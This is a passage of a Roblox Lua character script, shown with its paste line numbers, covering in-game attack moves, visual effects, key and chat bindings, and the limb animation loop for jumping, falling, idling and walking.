            WACKYEFFECT({Time = 10, EffectType = "Wave", Size = VT(8,1,8), Size2 = VT(2,15,2), Transparency = 0.9, Transparency2 = 1, CFrame = CF(RootPart.Position,HITPOS) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,1,1), SoundID = nil, SoundPitch = nil, SoundVolume = nil, UseBoomerangMath = false, Boomerang = 0, SizeBoomerang = 0})
3838
            RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(i*E), RAD(0), RAD(0)), 2 / Animation_Speed)
3839
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(25), RAD(0), RAD(0)), 1 / Animation_Speed)
3840
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(5), RAD(15), RAD(90)) * RIGHTSHOULDERC0, 1 / Animation_Speed)
3841
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(-5), RAD(-90)) * LEFTSHOULDERC0, 1 / Animation_Speed)
3842
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.4, -0.6) * ANGLES(RAD(-35), RAD(90), RAD(0)) * ANGLES(RAD(-1 * SIN(SINE / 6)), RAD(0), RAD(0)), 1 / Animation_Speed)
3843
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-85), RAD(0)) * ANGLES(RAD(-1 * SIN(SINE / 6)), RAD(0), RAD(0)), 1 / Animation_Speed)
3844
        end
3845
        local LANDED = nil
3846
        local POS = nil
3847
        coroutine.resume(coroutine.create(function()
3848
            repeat
3849
                Swait()
3850
                RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0 ) * ANGLES(RAD(20), RAD(0), RAD(0)), 1 / Animation_Speed)
3851
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0 , 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(0)), 1 / Animation_Speed)
3852
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-35 - 4 * COS(SINE / 6)), RAD(0), RAD(45 + 10 * COS(SINE / 12))) * RIGHTSHOULDERC0, 1 / Animation_Speed)
3853
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-35 - 4 * COS(SINE / 6)), RAD(0), RAD(-45 - 10 * COS(SINE / 12))) * LEFTSHOULDERC0, 1 / Animation_Speed)
3854
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.3, -0.7) * ANGLES(RAD(-25 + 5 * SIN(SINE / 12)), RAD(90), RAD(0)) * ANGLES(RAD(-1 * SIN(SINE / 6)), RAD(0), RAD(0)), 1 / Animation_Speed)
3855
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.8, -0.3) * ANGLES(RAD(-10), RAD(-80), RAD(0)) * ANGLES(RAD(-1 * SIN(SINE / 6)), RAD(0), RAD(0)), 1 / Animation_Speed)
3856
            until LANDED ~= nil
3857
        end))
3858
        repeat
3859
            Swait()
3860
            local HITFLOOR,HITPOS = Raycast(RootPart.Position, (CF(RootPart.Position, RootPart.Position + VT(0, -1, 0))).lookVector, 4.2, Character)
3861
            if HITFLOOR then
3862
                LANDED = HITFLOOR
3863
                POS = HITPOS
3864
            end
3865
        until LANDED ~= nil
3866
        GYRO:remove()
3867
        Swait(4)
3868
        ManualAoE(RootPart.Position,10,20,50,0,false)
3869
        CreateSound(765590102, Torso, 2, (MRANDOM(8,12)/10)+0.3, false)
3870
        WACKYEFFECT({EffectType = "Sphere", Size = VT(5,5,5), Size2 = VT(20,20,20), Transparency = 0.5, Transparency2 = 1, CFrame = CF(Torso.Position), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(255/255,0/255,0/255), SoundID = nil, SoundPitch = nil, SoundVolume = nil, UseBoomerangMath = false, Boomerang = 0, SizeBoomerang = 0})
3871
        for i = 0, 4 do
3872
        WACKYEFFECT({Time = 35, EffectType = "Wave", Size = VT(0,0.33,0), Size2 = VT(8,0.11,8), Transparency = 0.4, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-2.5,0) * ANGLES(RAD(0), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = MRANDOM(-10,10), RotationZ = 0, Material = "Neon", Color = C3(1,1,1), SoundID = nil, SoundPitch = nil, SoundVolume = nil, UseBoomerangMath = false, Boomerang = 0, SizeBoomerang = 0})
3873
        end
3874
        for i=0, 0.5, 0.1 / Animation_Speed do
3875
            Swait()
3876
            RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -2.5 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(90), RAD(0), RAD(0)), 1 / Animation_Speed)
3877
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed)
3878
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(179), RAD(0), RAD(12)) * RIGHTSHOULDERC0, 1 / Animation_Speed)
3879
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(179), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 1 / Animation_Speed)
3880
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 1 / Animation_Speed)
3881
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 1 / Animation_Speed)
3882
        end
3883
        repeat
3884
            for i=0, 0.1, 0.05 / Animation_Speed do
3885
                Swait()
3886
                turnto(Mouse.Hit.p)
3887
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -2.5 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(90), RAD(0), RAD(0)), 1 / Animation_Speed)
3888
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0.35, 0 + ((1) - 1)) * ANGLES(RAD(-75 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed)
3889
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(179), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed)
3890
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.4, 0.8, 0) * ANGLES(RAD(179), RAD(0), RAD(70)) * LEFTSHOULDERC0, 1 / Animation_Speed)
3891
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 1 / Animation_Speed)
3892
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 1 / Animation_Speed)
3893
            end
3894
            local HIT,POS = CastProperRay(Hole2.Position, Mouse.Hit.p, 1000, Character)
3895
            SpawnTrail(Hole2.Position,POS)
3896
            if HIT ~= nil then
3897
                if HIT.Parent ~= workspace and HIT.Parent.ClassName ~= "Folder" then
3898
                    Banish(HIT.Parent)
3899
                end
3900
            end
3901
            WACKYEFFECT({Time = 25, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = Hole2.CFrame, MoveToPos = Hole2.CFrame*CF(0,0.5,0).p, RotationX = 0, RotationY = -15, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = 1, SoundVolume = 5})
3902
            WACKYEFFECT({Time = 25, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = Hole2.CFrame, MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = 136523485, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3903
            WACKYEFFECT({Time = 25, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = CF(POS,Hole2.Position) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = -5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3904
            WACKYEFFECT({Time = 25, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = CF(POS,Hole2.Position) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
3905
            Humanoid.CameraOffset = VT(MRANDOM(-5,5)/2.5,MRANDOM(-5,5)/2.5,MRANDOM(-5,5)/2.5)/30
3906
            for i=0, 0.075, 0.05 / Animation_Speed do
3907
                Swait()
3908
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -2.5 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(90), RAD(0), RAD(0)), 1 / Animation_Speed)
3909
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0.35, 0 + ((1) - 1)) * ANGLES(RAD(-85 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed)
3910
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(190), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed)
3911
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.4, 0.8, 0) * ANGLES(RAD(190), RAD(0), RAD(70)) * LEFTSHOULDERC0, 1 / Animation_Speed)
3912
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 1 / Animation_Speed)
3913
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 1 / Animation_Speed)
3914
            end
3915
        until KEYHOLD == false
3916
        ATTACK = false
3917
        Rooted = false
3918
        if script["Mode"].Value ~= "Insane" then
3919
            KarmaGun2.Parent = nil
3920
            KarmaGun.Parent = Character
3921
        elseif script["Mode"].Value == "Insane" then
3922
            LeftArmGrasp.Part0 = orip0
3923
        end
3924
    end
3925
end
3926
 
3927
function GetAttackFromList(Attack)
3928
    if Attack == "bye bye" then
3929
        ByeBye()
3930
    elseif Attack == "his grasp" then
3931
        HisGrasp()
3932
    elseif Attack == "rush" then
3933
        Rush()
3934
    elseif Attack == "the other side of paradise" then
3935
        OtherSideOfParadise()
3936
    elseif Attack == "kristian's last hope" then
3937
        ShatteredHeart()
3938
    elseif Attack == "trust issues" then
3939
        TrustIssues()
3940
    elseif Attack == "smite" then
3941
        KarmaStrike()
3942
    elseif Attack == "debanish" then
3943
        TOBANISH = {}
3944
        chatfunc("You have been freed from the banlands.")
3945
    end
3946
end
3947
 
3948
--//=================================\\
3949
--||      ASSIGN THINGS TO KEYS
3950
--\\=================================//
3951
 
3952
function MouseDown(Mouse)
3953
    ByeBye()
3954
end
3955
 
3956
function MouseUp(Mouse)
3957
HOLD = false
3958
end
3959
 
3960
function KeyDown(Key)
3961
    KEYHOLD = true
3962
    if Key == "z" and ATTACK == false then
3963
        HisGrasp()
3964
    end
3965
 
3966
    if Key == "q" and ATTACK == false then
3967
        Rush()
3968
    end
3969
 
3970
    if Key == "e" and ATTACK == false then
3971
        BanishBullet()
3972
    end
3973
 
3974
    if Key == "r" and ATTACK == false then
3975
        BulletRoller()
3976
    end
3977
 
3978
    if Key == "t" and ATTACK == false then
3979
        Taunt()
3980
    end
3981
 
3982
    if Key == "y" and ATTACK == false then
3983
        if script["Mode"].Value == "Insane" then
3984
            KarmaStrike()
3985
        end
3986
    end
3987
 
3988
    if Key == "f" and ATTACK == false then
3989
        OtherSideOfParadise()
3990
    end
3991
 
3992
    if Key == "g" and ATTACK == false then
3993
        ShatteredHeart()
3994
    end
3995
 
3996
    if Key == "h" and ATTACK == false then
3997
        TrustIssues()
3998
    end
3999
   
4000
    if Key == "x" and ATTACK == false then
4001
        TOBANISH = {}
4002
        chatfunc("You have been freed from the banlands.")
4003
    end
4004
   
4005
    if Key == "j" and ATTACK == false then
4006
        script["Mode"].Value = "Karma"
4007
    end
4008
   
4009
    if Key == "k" and ATTACK == false then
4010
        script["Mode"].Value = "ByeBye"
4011
    end
4012
   
4013
    if Key == "l" and ATTACK == false then
4014
        script["Mode"].Value = "Insane"
4015
    end
4016
end
4017
 
4018
function KeyUp(Key)
4019
    KEYHOLD = false
4020
end
4021
 
4022
function Chatted(Message)
4023
    Message = Message:lower()
4024
    if ATTACK == false then
4025
        for i, attackFromList in ipairs(ATTACKLIST) do
4026
            local AttackFromList = attackFromList:lower()
4027
            if Message:sub(1, #AttackFromList) == AttackFromList then
4028
                GetAttackFromList(AttackFromList)
4029
            end
4030
        end
4031
    end
4032
end
4033
 
4034
Mouse.Button1Down:connect(function(NEWKEY)
4035
    MouseDown(NEWKEY)
4036
end)
4037
Mouse.Button1Up:connect(function(NEWKEY)
4038
    MouseUp(NEWKEY)
4039
end)
4040
Mouse.KeyDown:connect(function(NEWKEY)
4041
    KeyDown(NEWKEY)
4042
end)
4043
Mouse.KeyUp:connect(function(NEWKEY)
4044
    KeyUp(NEWKEY)
4045
end)
4046
Player.Chatted:connect(function(NEWMESSAGE)
4047
    Chatted(NEWMESSAGE)
4048
end)
4049
 
4050
--//=================================\\
4051
--\\=================================//
4052
 
4053
function unanchor()
4054
    if UNANCHOR == true then
4055
        local g = Character:GetChildren()
4056
        for i = 1, #g do
4057
            if g[i].ClassName == "Part" then
4058
                g[i].Anchored = false
4059
            end
4060
        end
4061
    end
4062
end
4063
 
4064
 
4065
--//=================================\\
4066
--||    WRAP THE WHOLE SCRIPT UP
4067
--\\=================================//
4068
 
4069
Humanoid.Changed:connect(function(Jump)
4070
    if Jump == "Jump" and (Disable_Jump == true) then
4071
        Humanoid.Jump = false
4072
    end
4073
end)
4074
 
4075
while true do
4076
    Swait()
4077
    ANIMATE.Parent = nil
4078
    local IDLEANIMATION = Humanoid:LoadAnimation(ROBLOXIDLEANIMATION)
4079
    IDLEANIMATION:Play()
4080
    neccc = MRANDOM(1, 4)
4081
    local TORSOVELOCITY = (RootPart.Velocity * VT(1, 0, 1)).magnitude
4082
    local TORSOVERTICALVELOCITY = RootPart.Velocity.y
4083
    local LV = Torso.CFrame:pointToObjectSpace(Torso.Velocity - Torso.Position)
4084
    HITFLOOR = Raycast(RootPart.Position, (CF(RootPart.Position, RootPart.Position + VT(0, -1, 0))).lookVector, 4 * Player_Size, Character)
4085
    local WALKSPEEDVALUE = 0
4086
    if Speed < 35 then
4087
        WALKSPEEDVALUE = 6
4088
    else
4089
        WALKSPEEDVALUE = 3
4090
    end
4091
    for _,v in next, Hearts do
4092
        local part,mesh,count = v[1],v[2],v[3]
4093
        part.Color = C3(r / 255, g / 255, b / 255)
4094
        mesh.Scale = VT(GetClientProperty(sick,'PlaybackLoudness')/125,GetClientProperty(sick,'PlaybackLoudness')/125,1)       
4095
    end
4096
    local sickPlaybackLoudness = GetClientProperty(sick,'PlaybackLoudness')
4097
    if(script["Mode"].Value ~= "Insane")then
4098
        if ANIM == "Walk" and TORSOVELOCITY > 1 and Rooted == false then
4099
            RootJoint.C1 = Clerp(RootJoint.C1, ROOTC0 * CF(0, 0, -0.15 * COS(SINE / (WALKSPEEDVALUE / 2)) * Player_Size) * ANGLES(RAD(0), RAD(0) - RootPart.RotVelocity.Y / 75, RAD(0)), 2 * (1) / Animation_Speed)
4100
            Neck.C1 = Clerp(Neck.C1, CF(0 * Player_Size, -0.5 * Player_Size, 0 * Player_Size) * ANGLES(RAD(-90), RAD(0), RAD(180)) * ANGLES(RAD(2.5 * SIN(SINE / (WALKSPEEDVALUE / 2))), RAD(0), RAD(0) - Head.RotVelocity.Y / 30), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed)
4101
            if Speed < 35 then
4102
                RightHip.C1 = Clerp(RightHip.C1, CF(0.5 * Player_Size, 0.875 * Player_Size - 0.125 * SIN(SINE / WALKSPEEDVALUE) * Player_Size, -0.125 * COS(SINE / WALKSPEEDVALUE) * Player_Size) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0) - RightLeg.RotVelocity.Y / 75, RAD(0), RAD(56 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (WALKSPEEDVALUE) / Animation_Speed)
4103
                LeftHip.C1 = Clerp(LeftHip.C1, CF(-0.5 * Player_Size, 0.875 * Player_Size + 0.125 * SIN(SINE / WALKSPEEDVALUE) * Player_Size, 0.125 * COS(SINE / WALKSPEEDVALUE) * Player_Size) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0) + LeftLeg.RotVelocity.Y / 75, RAD(0), RAD(56 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (WALKSPEEDVALUE) / Animation_Speed)
4104
            else
4105
                RightHip.C1 = Clerp(RightHip.C1, CF(0.5 * Player_Size, 0.875 * Player_Size - 0.125 * SIN(SINE / WALKSPEEDVALUE) * Player_Size, -0.125 * COS(SINE / WALKSPEEDVALUE) * Player_Size) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0) - RightLeg.RotVelocity.Y / 75, RAD(0), RAD(80 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (WALKSPEEDVALUE) / Animation_Speed)
4106
                LeftHip.C1 = Clerp(LeftHip.C1, CF(-0.5 * Player_Size, 0.875 * Player_Size + 0.125 * SIN(SINE / WALKSPEEDVALUE) * Player_Size, 0.125 * COS(SINE / WALKSPEEDVALUE) * Player_Size) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0) + LeftLeg.RotVelocity.Y / 75, RAD(0), RAD(80 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (WALKSPEEDVALUE) / Animation_Speed)
4107
            end
4108
        elseif (ANIM ~= "Walk") or (TORSOVELOCITY < 1) or Rooted == true then
4109
            RootJoint.C1 = Clerp(RootJoint.C1, ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
4110
            Neck.C1 = Clerp(Neck.C1, CF(0 * Player_Size, -0.5 * Player_Size, 0 * Player_Size) * ANGLES(RAD(-90), RAD(0), RAD(180)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
4111
            RightHip.C1 = Clerp(RightHip.C1, CF(0.5 * Player_Size, 1 * Player_Size, 0 * Player_Size) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
4112
            LeftHip.C1 = Clerp(LeftHip.C1, CF(-0.5 * Player_Size, 1 * Player_Size, 0 * Player_Size) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
4113
        end
4114
    end
4115
    if TORSOVERTICALVELOCITY > 1 and HITFLOOR == nil then
4116
        ANIM = "Jump"
4117
        if ATTACK == false then
4118
            RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
4119
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0 * Player_Size, 0 + ((1) - 1)) * ANGLES(RAD(-20), RAD(0), RAD(0)), 0.2 / Animation_Speed)
4120
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-40), RAD(0), RAD(20)) * RIGHTSHOULDERC0, 0.2 / Animation_Speed)
4121
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-40), RAD(0), RAD(-20)) * LEFTSHOULDERC0, 0.2 / Animation_Speed)
4122
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.3) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(-20)), 0.2 / Animation_Speed)
4123
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, -0.3) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(20)), 0.2 / Animation_Speed)
4124
        end
4125
    elseif TORSOVERTICALVELOCITY < -1 and HITFLOOR == nil then
4126
        ANIM = "Fall"
4127
        if ATTACK == false then
4128
            RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0 ) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
4129
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0 , 0 + ((1) - 1)) * ANGLES(RAD(20), RAD(0), RAD(0)), 0.2 / Animation_Speed)
4130
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(60)) * RIGHTSHOULDERC0, 0.2 / Animation_Speed)
4131
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-60)) * LEFTSHOULDERC0, 0.2 / Animation_Speed)
4132
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(20)), 0.2 / Animation_Speed)
4133
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(10)), 0.2 / Animation_Speed)
4134
        end
4135
    elseif TORSOVELOCITY < 1 and HITFLOOR ~= nil then
4136
        ANIM = "Idle"
4137
        if ATTACK == false then
4138
            if(script["Mode"].Value ~= "Insane")then
4139
                local bouncyboi = sickPlaybackLoudness / 1200
4140
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, -0.1, -0.1 + 0.05 * COS(SINE / 12) + bouncyboi) * ANGLES(RAD(15), RAD(0), RAD(0)), 0.15 / Animation_Speed)
4141
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5 + 0.025 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(0 - 7.5 * SIN(SINE / 12)), RAD(12 + 7.5 * SIN(SINE / 12))) * RIGHTSHOULDERC0, 0.15 / Animation_Speed)
4142
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-0.7, 0.5 + sickPlaybackLoudness / 1200, -0.3) * ANGLES(RAD(-200), RAD(0), RAD(30)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
4143
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12) - bouncyboi, -0.01) * ANGLES(RAD(20), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
4144
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12) - bouncyboi, -0.01) * ANGLES(RAD(5), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
4145
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(25 + MRANDOM(-5,5) - 4 * COS(SINE / 12)), RAD(MRANDOM(-5,5)), RAD(15)), 1 / Animation_Speed)
4146
                if MRANDOM(1, 10) == 1 then
4147
                    Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 + MRANDOM(-25,25) - 4 * COS(SINE / 12)), RAD(MRANDOM(-25,25)), RAD(0)), 1.5 / Animation_Speed)
4148
                end
4149
            elseif(script["Mode"].Value == "Insane")then
4150
                if MRANDOM(1, 10) == 1 then
4151
                    WACKYEFFECT({EffectType = "Slash", Size = VT(0,0,0), Size2 = VT(0.01*3,0,0.01*3), Transparency = 0, Transparency2 = 1, CFrame = Hole2.CFrame*CF(0,0,0) * ANGLES(RAD(MRANDOM(-90,90)), RAD(MRANDOM(-90,90)), RAD(MRANDOM(-90,90))), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = 1, SoundVolume = 0})
4152
                    WACKYEFFECT({EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = 0.5, Transparency2 = 1, CFrame = Hole2.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = 1, SoundVolume = 5})
4153
                end
4154
                local bouncyboi = sickPlaybackLoudness / 1000
4155
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0.5, 0 + 0.05 * COS(SINE / 16) + bouncyboi) * ANGLES(RAD(-25), RAD(0), RAD(-30)), 0.15 / Animation_Speed)
4156
                Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(10 - 2.5 * SIN(SINE / 32)), RAD(0), RAD(30 + 10 * COS(SINE / 14))), 0.15 / Animation_Speed)
4157
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(35 + 5 * COS(SINE / 21)), RAD(0), RAD(28 + 5 * COS(SINE / 19))) * RIGHTSHOULDERC0, 0.15 / Animation_Speed)
4158
                LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 1 - 0.1 * COS(SINE / 25) + sickPlaybackLoudness / 1200, 0) * ANGLES(RAD(150 + 15 * COS(SINE / 53)), RAD(0), RAD(-15 + 5 * COS(SINE / 43))) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
4159
                RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 16) - bouncyboi, -0.01) * ANGLES(RAD(-25), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
4160
                LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.5 - 0.1 * COS(SINE / 33) - bouncyboi, -0.6) * ANGLES(RAD(-25), RAD(-90), RAD(0)) * ANGLES(RAD(-8 + 3 * COS(SINE / 30)), RAD(0), RAD(0 + 7 * COS(SINE / 64))), 0.15 / Animation_Speed)
4161
            end
4162
        end
4163
    elseif TORSOVELOCITY > 1 and HITFLOOR ~= nil and Rooted == false then
4164
        ANIM = "Walk"
4165
        WALK = WALK + 1 / Animation_Speed
4166
        if WALK >= 15 - (5 * (Humanoid.WalkSpeed / 16 / Player_Size)) then
4167
            WALK = 0
4168
            if WALKINGANIM == true then
4169
                WALKINGANIM = false
4170
            elseif WALKINGANIM == false then
4171
                WALKINGANIM = true
4172
            end
4173
        end
4174
        --RightHip.C1 = Clerp(RightHip.C1, CF(0.5 * Player_Size, 0.875 * Player_Size - 0.125 * SIN(SINE / WALKSPEEDVALUE) * Player_Size, -0.125 * COS(SINE / WALKSPEEDVALUE) * Player_Size) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0) - RightLeg.RotVelocity.Y / 75, RAD(0), RAD(60 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed)
4175
        --LeftHip.C1 = Clerp(LeftHip.C1, CF(-0.5 * Player_Size, 0.875 * Player_Size + 0.125 * SIN(SINE / WALKSPEEDVALUE) * Player_Size, 0.125 * COS(SINE / WALKSPEEDVALUE) * Player_Size) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0) + LeftLeg.RotVelocity.Y / 75, RAD(0), RAD(60 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed)
4176
        if ATTACK == false then
4177
            if(script["Mode"].Value ~= "Insane")then
4178
                RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1) * ANGLES(RAD(5), RAD(0), RAD(0)), 0.15 / Animation_Speed)
4179
                RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(30 * COS(SINE / WALKSPEEDVALUE)), RAD(0), RAD(5)) * RIGHTSHOULDERC0, 1 / Animation_Speed)
4180
